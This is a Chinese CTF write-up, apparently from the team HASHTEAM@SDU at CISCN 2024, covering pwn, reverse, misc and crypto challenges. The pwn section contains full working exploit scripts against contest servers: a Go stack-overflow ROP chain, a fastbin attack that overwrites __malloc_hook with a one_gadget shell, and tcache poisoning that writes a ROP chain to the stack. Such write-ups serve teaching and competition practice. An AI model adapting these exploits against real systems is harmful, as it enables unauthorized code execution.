恭喜HASHTEAM@SDU在本届国赛获得山东省第一,华东北第六,全国前五十的好成绩!🎉🎉
一队wp懒得转md了,放个二队的
Pwn
gostack
ida打开发现是go,动调发现输入很多字符会导致栈溢出而程序报错退出
简单找了一下向栈上写数据的位置,找到任意长度栈溢出,但是不能破坏rbp上方的部份数据
大体思路是进行栈溢出的时候保护好原有的栈结构,可以先dump一段栈加到payload中,再进行ret2syscall
exp如下:
#!/bin/python3
from pwn import *
context.arch = 'amd64'
c = remote("8.147.131.163", 22191)
poprdir14r13r12rbprbx = 0x00000000004a18a5
poprdx = 0x00000000004944ec
poprsi = 0x000000000042138a
poprax = 0x000000000040f984
syscall = 0x00000000004616c9
#syscall ; ret
payload = flat(0x4aa800, 0x8, 0x4aa800, 0xc000090340, 0x4aa800, 0x4df040, 0xc00004ad98, 0x100, 0x100, 0x4df4e8, 0xc0000b4000, 0x4c5dd0, 0x10000, 0xc0000bc000, 0x8, 0x1000, 0xc0000bc000, 0x1000, 0x1000, 9, 9, 0, 0, 1)
#pading + ori_stack + rop
c.sendlineafter('message :\n', cyclic(0x100) + payload + flat(0xdeadbeef, 0, poprax, 0, poprdir14r13r12rbprbx, 0, 0, 0, 0, 0, 0, poprsi, 0x549000, poprdx, 8, syscall, poprax, 2, poprdir14r13r12rbprbx, 0x549000, 0, 0, 0, 0, 0, poprsi, 0, poprdx, 0, syscall, poprax, 0, poprdir14r13r12rbprbx, 3, 0, 0, 0, 0, 0, poprsi, 0x549000, poprdx, 50, syscall, poprax, 1, poprdir14r13r12rbprbx, 1, 0, 0, 0, 0, 0, poprsi, 0x549000, poprdx, 50, syscall,))
c.send(b'/flag\0')
c.interactive()
flag{c3182eaa-5d80-4c89-9e79-27a2aab4ba0d}
orange_cat_diary
堆溢出改top_chunk size,申请大于top_size的堆块,释放到unsorted bin,一次show泄露libc,一次free释放至fastbin,uaf打fastbin attack , 写onegadget getshell
from Excalibur2 import*
proc("./pwn")
remo("8.147.132.163:17545")
lib("./libc-2.23.so")
default("h")
def add(size, data):
sla("choice","1")
sla("length of the diary content:",str(size))
sla("content:",data)
def show():
sla("choice","2")
def dele():
sla("choice","3")
def edit(size, data):
sla("choice","4")
sla("length of the diary content:",str(size))
sla("content:",data)
sl("aaaa")
debug("b *$rebase(0xCD9)\n b *$rebase(0xBF5)\n b *$rebase(0xDE9)\n b *$rebase(0xD83)\n")# edit add show dele
# add(0x420,"A")
# add(0x20,"A")
# add(0x420,"A")
# dele()
# show()
# addr = get_addr64()
# debug("b *$rebase(0xCD9)\n")
## heap overflow
add(0x68,"A")
# dele()
edit(0x70,b"A"*0x68+p64(0xF91))
add(0x1000,"A")
add(0xf60,"A")
show()
addr = get_addr64()
addr = get_addr64()
libc = addr -0x3c4b78
lg("libc base",libc)
malloc_hook = libc+libcsym("__malloc_hook")
lg("malloc_hook",malloc_hook)
og = [0x45226,0x4527a,0xf03a4,0xf1247]
add(0x68,"B")
dele()
edit(0x70,p64(malloc_hook-0x23))
add(0x68,"B")
lg("os",libc+og[0])
add(0x68,b'a'*0x13+p64(libc+og[2]))
sla("choice","1")
sla("length of the diary content:",str(0x20))
# add(0x68,"B"*0x68)
# dele()
# edit(0x70,b"B"*0x68+p64(0xFFFF))
# add(0x1000,"B"*0x1000)
# add(0xf60,"B"*0xf60)
# dele()
ia()
"""
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
"""
EzHeap
经典的堆模板题,审计发现edit存在任意长度堆溢出
可以利用unsorted bin泄露libc,利用tcache泄露堆上基地址,而且可以利用tcache poisoning实现任意地址读写。
大体思路是泄露libcbase、heapbase,通过environ泄露stack上的地址,然后构造rop写到栈上返回地址。
exp如下:
#!/bin/python3
from pwn import *
libc = ELF("./libc.so")
elf = ELF("./pwn")
c = remote("8.147.133.9", 18394)
context.arch = 'amd64'
def cmd(cmdid):
c.sendlineafter(b'>> ', str(cmdid).encode())
def add(size, data):
cmd(1)
c.sendlineafter(b'size:', str(size).encode())
if type(data) == str: data = data.encode()
c.sendlineafter(b'content:', data)
def delete(idx):
cmd(2)
c.sendlineafter(b'idx:', str(idx).encode())
def show(idx):
cmd(4)
c.sendlineafter(b'idx:', str(idx).encode())
def edit(idx, size, data, line = True):
cmd(3)
c.sendlineafter(b'idx:', str(idx).encode())
c.sendlineafter(b'size:', str(size).encode())
if line: c.sendlineafter(b'content:', data)
else: c.sendafter(b'content:', data)
add(0x318, b'')#0
add(0x318, b'')#1
add(0x418, b'')#2
add(0x318, b'')#3
delete(2)
edit(1, 0x320, cyclic(0x31f))
show(1)
libc.address = u64(c.recvuntil(b'\x7f')[-6:] + b'\0\0') - 0x21ace0
success(f"libcbase = {hex(libc.address)}")
edit(1, 0x320, b'\0' * 0x318 + p64(0x420), False)
for i in range(12):
add(0x68, b'')#2 4-14
add(0x68, b'')#15
add(0x68, b'')#16
add(0x68, b'')#17
add(0x68, b'')#18
delete(16)
delete(17)
edit(15, 0x70 + 0x68, cyclic(0x6f + 0x68))
show(15)
c.recvuntil(b'daa\n')
heapbase = u64(c.recv(6) + b'\0\0') - 0x8b0 + 0x200
success(f"heapbase = {hex(heapbase)}")
key = heapbase >> 12
success(f"key = {hex(key)}")
add(0x28, b'')#16
add(0x28, b'')#17
add(0x28, b'')#19
add(0x28, b'')#20
add(0x28, b'')#21
add(0x28, b'')#22
add(0x28, b'')#23
add(0x28, b'')#24
delete(23)
delete(22)
info(f"{hex(libc.address + 0x222200 - 0x30)}")
edit(21, 0x38, cyclic(0x28) + flat(0x31, (libc.address + 0x222200 - 0x30) ^ key), False)
add(0x28, b'')#22
add(0x28, cyclic(0x27))#23
edit(23, 0x30, cyclic(0x30), False)
show(23)
c.recvuntil(b'laaa')
stackbase = u64(c.recv(6) + b'\0\0') - 0x170
success(f"stackbase = {hex(stackbase)}")
for i in range(12):
add(0xe8, b'')#21 22 24-28
add(0xe8, b'')#36
add(0xe8, b'')#37
add(0xe8, b'')#38
add(0xe8, b'/flag\0')#39
delete(38)
delete(37)
edit(36, 0xf8, cyclic(0xe8) + flat(0xf1, ((stackbase - 8) ^ (key + 0x2))), False)
poprax = libc.address + 0x0000000000045eb0
poprdi = libc.address + 0x000000000002a3e5
poprsi = libc.address + 0x000000000002be51
poprdxrbx = libc.address + 0x00000000000904a9
syscallret = libc.address + 0x0000000000091316
flag = heapbase + 0x3090
add(0xe8, b'')#37
add(0xe8, flat(1, poprax, 2, poprdi, flag, poprsi, 0, poprdxrbx, 0, 0, syscallret,
poprax, 0, poprdi, 3, poprsi, flag, poprdxrbx, 50, 0, syscallret,
poprax, 1, poprdi, 1, syscallret))#38
c.interactive()
flag{248c8af8-6803-4138-a382-34c040bada67}
Reverse
asm_re
一堆汇编,扔给GPT反编译出的main函数逻辑。
#include <stdio.h>
#include <string.h>
int main() {
char flag[] = "flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}";
char dst[152];
int flag_len, i, j;
int transformed_flag[100];
int success = 1;
// Copy 152 bytes from source to destination
memcpy(dst, "some source string here, assumed to be 152 bytes", 152);
// Get the length of the flag
flag_len = strlen(flag);
// Transform the flag characters
for (i = 0; i < flag_len; i++) {
transformed_flag[i] = (((flag[i] * 80) + 20) ^ 77) + 30;
}
// Zero-terminate the transformed array
transformed_flag[flag_len] = 0;
// Compare the transformed array with the first 152 bytes of destination
for (i = 0; i <= flag_len; i++) {
if (transformed_flag[i] != ((unsigned int*)dst)[i]) {
success = 0;
break;
}
}
// Print result
printf("\n");
return success;
}
扒出密文,写脚本解密得到flag
#include <stdio.h>
int main() {
unsigned char data[] = {
0xD7, 0x1F, 0x00, 0x00, 0xB7, 0x21, 0x00, 0x00, 0x47, 0x1E, 0x00, 0x00, 0x27, 0x20, 0x00, 0x00,
0xE7, 0x26, 0x00, 0x00, 0xD7, 0x10, 0x00, 0x00, 0x27, 0x11, 0x00, 0x00, 0x07, 0x20, 0x00, 0x00,
0xC7, 0x11, 0x00, 0x00, 0x47, 0x1E, 0x00, 0x00, 0x17, 0x10, 0x00, 0x00, 0x17, 0x10, 0x00, 0x00,
0xF7, 0x11, 0x00, 0x00, 0x07, 0x20, 0x00, 0x00, 0x37, 0x10, 0x00q, 0x00, 0x07, 0x11, 0x00, 0x00,
0x17, 0x1F, 0x00, 0x00, 0xD7, 0x10, 0x00, 0x00, 0x17, 0x10, 0x00, 0x00, 0x17, 0x10, 0x00, 0x00,
0x67, 0x1F, 0x00, 0x00, 0x17, 0x10, 0x00, 0x00, 0xC7, 0x11, 0x00, 0x00, 0xC7, 0x11, 0x00, 0x00,
0x17, 0x10, 0x00, 0x00, 0xD7, 0x1F, 0x00, 0x00, 0x07, 0x11, 0x00, 0x00, 0x47, 0x0F, 0x00, 0x00,
0x27, 0x11, 0x00, 0x00, 0x37, 0x10, 0x00, 0x00, 0x47, 0x1E, 0x00, 0x00, 0x37, 0x10, 0x00, 0x00,
0xD7, 0x1F, 0x00, 0x00, 0x07, 0x11, 0x00, 0x00, 0xD7, 0x1F, 0x00, 0x00, 0x07, 0x11, 0x00, 0x00,
0x87, 0x27, 0x00, 0x00
};
for (int i = 0; i < 148; i += 4) {
printf("0x%02x%02x, ", data[i + 1], data[i]);
}
int enc_flag[] = {
0x1fd7, 0x21b7, 0x1e47, 0x2027, 0x26e7, 0x10d7, 0x1127, 0x2007, 0x11c7, 0x1e47, 0x1017, 0x1017, 0x11f7, 0x2007, 0x1037, 0x1107, 0x1f17,0x10d7,0x1017,0x1017,0x1f67,0x1017,0x11c7,0x11c7,0x1017,0x1fd7,0x1f17,0x1107,0x0f47,0x1127,0x1037,0x1e47,0x1037,0x1fd7,0x1107,0x1fd7,0x1107,0x2787};
// transformed_flag[i] = (((flag[i] * 80) + 20) ^ 77) + 30;
for (int i = 0; i < 38; i++) {
enc_flag[i] = (((enc_flag[i] - 30) ^ 77) - 20) / 80;
printf("%c", enc_flag[i]);
}
}
flag{67e9a228e45b622c2992fb5174a4f5f5}
androidso_re
从jadx中看到是CBC的DES
用7.7的IDA打开
从so中找到getkey和getiv
key如图
iv如图
写脚本解密
RC4 = [0x42,0xb1,0x66,0xdc,0x03,0x6d,0x45,0x1b,0xc2,0x3b,0x58,0xba]
key = [0x3,0x89,0x33,0xb8,0x54,0xc,0x20,0x6a]
for i in range(8):
print(chr(RC4[i] ^ key[i]), end = '')
enc = "F2IjBOh1mRW="
for i in enc:
if i.islower():
print(chr((ord(i)-81)%26+97),end = '')
elif i.isupper():
print(chr((ord(i)-49)%26+65),end = '')
else:
print(i,end = "")
解密DES
flag{188cba3a5c0fbb2250b5a2e590c391ce}
gdb_debug
动态调试得到各个数据,xor_key、sbox这些,写脚本解密即可
#flag{0123456789abcdef0123456789abcdef}
a = r"flag{0123456789abcdef0123456789abcdef}"
b = [
0xBF, 0x63, 0x79, 0xDA, 0xBC, 0x26, 0xB0, 0x8C,
0xCB, 0x7E, 0x50, 0xC4, 0x6A, 0x93, 0x12, 0x52,
0xB6, 0xC6, 0x03, 0xFD, 0xF9, 0x4E, 0x1A, 0x6F,
0xF1, 0x9B, 0xBB, 0x0C, 0x7B, 0x9D, 0x4C, 0x44,
0xD6, 0xEE, 0x87, 0x1E, 0xC5, 0x19, 0x00, 0x00,
]
# for i in b:
# for j in range(15, -1, -2):
# print('0x'+i[j - 1]+i[j]+', ', end = '')
# print()
xor_key1 = [0] * 38
for i in range(38):
xor_key1[i] = ord(a[i]) ^ b[i]
s_box = [
0x12, 0x0E, 0x1B, 0x1E, 0x11, 0x05, 0x07, 0x01,
0x10, 0x22, 0x06, 0x17, 0x16, 0x08, 0x19, 0x13,
0x04, 0x0F, 0x02, 0x0D, 0x25, 0x0C, 0x03, 0x15,
0x1C, 0x14, 0x0B, 0x1A, 0x18, 0x09, 0x1D, 0x23,
0x1F, 0x20, 0x24, 0x0A, 0x00, 0x21, 0x00, 0x00,
]
# for i in s_box:
# for j in range(15, -1, -2):
# print('0x'+i[j - 1]+i[j]+', ', end = '')
# print()
c = [
0x03, 0x12, 0x0C, 0x4C, 0xC6, 0x26, 0x8C, 0x63,
0xB6, 0x87, 0xB0, 0x6F, 0x1A, 0xCB, 0x9B, 0xFD,
0xBC, 0x52, 0x79, 0x93, 0x19, 0x6A, 0xDA, 0x4E,
0x7B, 0xF9, 0xC4, 0xBB, 0xF1, 0x7E, 0x9D, 0x1E,
0x44, 0xD6, 0xC5, 0x50, 0xBF, 0xEE, 0x00, 0x00,
]
d = [
0xDD, 0xB8, 0x4E, 0xB0, 0xCF, 0xCE, 0x3E, 0x65,
0xBB, 0x14, 0xD1, 0x9B, 0x3E, 0x82, 0x8E, 0xFC,
0x6B, 0xF9, 0x7D, 0x8B, 0xD6, 0x83, 0x0F, 0xD8,
0x48, 0x33, 0x3D, 0x91, 0xAF, 0x94, 0xB0, 0x22,
0xD0, 0xB9, 0xFD, 0xCD, 0xE7, 0x04, 0x00, 0x00,
]
# for i in c:
# for j in range(15, -1, -2):
# print('0x'+i[j - 1]+i[j]+', ', end = '')
# print()
# print()
# for i in d:
# for j in range(15, -1, -2):
# print('0x'+i[j - 1]+i[j]+', ', end = '')
# print()
xor_key2 = [0] * 38
for i in range(38):
xor_key2[i] = c[i] ^ d[i]
enc_flag = [
0xBF, 0xD7, 0x2E, 0xDA, 0xEE, 0xA8, 0x1A, 0x10, 0x83, 0x73,
0xAC, 0xF1, 0x06, 0xBE, 0xAD, 0x88, 0x04, 0xD7, 0x12, 0xFE,
0xB5, 0xE2, 0x61, 0xB7, 0x3D, 0x07, 0x4A, 0xE8, 0x96, 0xA2,
0x9D, 0x4D, 0xBC, 0x81, 0x8C, 0xE9, 0x88, 0x78, 0x00, 0x00
]
key = "congratulationstoyoucongratulationstoy"
for i in range(38):
enc_flag[i] ^= ord(key[i])
for i in range(38):
enc_flag[i] ^= xor_key2[i]
flag = [0] *38
for i in range(38):
flag[s_box[i]] = enc_flag[i]
for i in range(38):
flag[i] ^= xor_key1[i]
for i in range(38):
print(chr(flag[i]), end = '')
flag{78bace5989660ee38f1fd980a4b4fbcd}
MISC
火锅链观光打卡
签到,注册就行
大学生安全测试能力调研问卷
神秘文件
一共是10个part,吐了
一
misc日常思路先看看信息,在属性里面能看到信息,
用lanjing,得到头部flag{e
二
凯撒密码+base64
675efb
三
宏文件
3-34
四
直接输入解码还不行,发现是图层挡住了两个字母,
base64:6f-40
五
注释里找到一串,用basecrack跑出来
5f-90d
六
缩小找到
d-2
七
文本框名称里有
22b3
八
PPT模板说c1GFSbd3Dg6BODbdl
移除掉B,b,1,3,得到后解码
87e
九
找到furry
dee
十
在和furry提示里一样的地方有一段编码,维吉尼亚解密
9}
flag{e675efb3-346f-405f-90dd-222b387edee9}
Power_Trajectory_Diagram
侧信道攻击,给脚本
import numpy as np
from scipy.stats import pearsonr
file = "attachment.npz"
data = np.load(file)
print(data.files)
index_data = data['index']
input_date = data['input']
output_data = data['output']
trace_data = data['trace']
print(index_data)
print(input_date)
print(output_data)
print(trace_data)
pwlen = 13
traces = {}
inputs = {}
for i in range(len(index_data)):
index = index_data[i]
if index not in traces:
traces[index] = []
inputs[index] = []
traces[index].append(trace_data[i])
inputs[index].append(input_date[i])
# init dict
hyp_key = {index:[]for index in range(pwlen)}
def DPA(traces, inputs):
for index in range(pwlen):
trace_set = np.array(traces[index])
input_set = np.array(inputs[index])
max_corr = -1
best_guess = None
for guess in set(input_set):
hyp = np.array([1 if char == guess else 0 for char in input_set])
mean = hyp.mean()
diff = hyp-mean
for t in range(trace_set.shape[1]):
correlation,_=pearsonr(trace_set[:,t],diff)
if abs(correlation) > max_corr:
max_corr = abs(correlation)
best_guess = guess
hyp_key[index] = best_guess
print(f"key[{index}]={best_guess}")
DPA(traces,inputs)
ciscn_2024
Crypto
用户信息访问控制
运行sh player.sh
,发现存在越权读取和读取薪水失败。通过理解题目描述,审计目标文件发现权限等级配置为json格式,仿照给出模板填入cell段和email段:
{
"name":"cell",
"isleveladjust":1,
"isselfdefine":0,
"class":0,
"level_fix":1,
"level_adjust":-1
}
{
"name":"email",
"isleveladjust":1,
"isselfdefine":0,
"class":0,
"level_fix":1,
"level_adjust":-2
}
再次测试发现只有读取薪水错误,找到目标代码文件中要求修改的位置,按照题目要求进行字符串匹配即可。
int except_rule(char * record_name,char * read_user,char * record_user)
{
int ret;
if (!strcmp(record_name, "salary") && !strcmp(read_user, record_user)){
return 1;
}
return 0;
}
但是由于题目环境不稳定,多次重新下发赛题才得到flag
flag{2bd37444-6367-4d45-adc1-53362106b671}
平台可信认证
审计题目要求可知,需要检查uuid与预期写入寄存器的值是否对应
但是在进行测试的时候,在verify_output末尾处插入如下代码时莫名其妙得到了flag:
if(verify_desc->result!=0)
{
verify_result->name=dup_str("sign verify fail",0);
}
else
{
if (verify_result->return_value[1] & 1){
verify_result->name=dup_str("trust verify succeed",0);
}
else{
verify_result->name=dup_str("trust verify fail",0);
}
pcr_report=&(quote_report->pcrComp);
}
运行sh player.sh
后给出了flag
flag{fcdfb7ac-7cc6-41fd-a19f-6ac6d563fa61}
OvO
题目中$e>n$,但是其中大于$2^{1024}$的部分只有$rr*n$,故缺失200位的$e’ = msb(e, 200)$仍有 \(rr = \lfloor \frac{e'}{n} \rfloor, kk=rr-2\)
有$rr,kk$后,令$e_0 \equiv e’ \equiv (kk + rr) \times p + rr \times q \pmod n$,则 \(e_1 \equiv \sqrt{e_0^2 - 4\times(rr+kk)\times rr \times n} \equiv (kk + rr) \times p - rr \times q\)
因而有$e_1 + e_2 + \epsilon \equiv 2 \times (kk + rr) \times p \pmod n$$,其中 $\epsilon$较小
应用coppersmith解得$\epsilon$,得$p = gcd(e_1 + e_2 + \epsilon, n), q = \frac{n}{p}$,$e = 65537 + kk \times p + rr \times (p+1) \times(q + 1) + 1$
进行rsa解密得到flag
from Crypto.Util.number import *
n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967
e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104
c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823
kk = e // n - 2
assert isPrime(int(kk))
rr = kk + 2
e_ = e % n
e__ = isqrt(e_ ^ 2 - 4 * (kk + rr) * rr * n)
F.<x> = PolynomialRing(Zmod(n))
f = x + e_ + e__
r = f.small_roots(X = 2^230, beta = 0.45, epsilon=0.03)[0]
p = GCD(r + e_ + e__, n)
q = n // p
assert isPrime(p) and p * q == n
phi = (p - 1) * (q - 1)
e = 65537 + kk * p + rr * ((p+1) * (q+1)) + 1
d = int(inverse(int(e), int(phi)))
print(long_to_bytes(int(pow(c, d, n))))
flag{b5f771c6-18df-49a9-9d6d-ee7804f5416c}
古典密码
先来一个Atbash
密码,再用栅栏密码(2)
fa{2b838a-97ad-e9f743lgbb07-ce47-6e02804c}
flag{b2bb0873-8cae-4977-a6de-0e298f0744c3}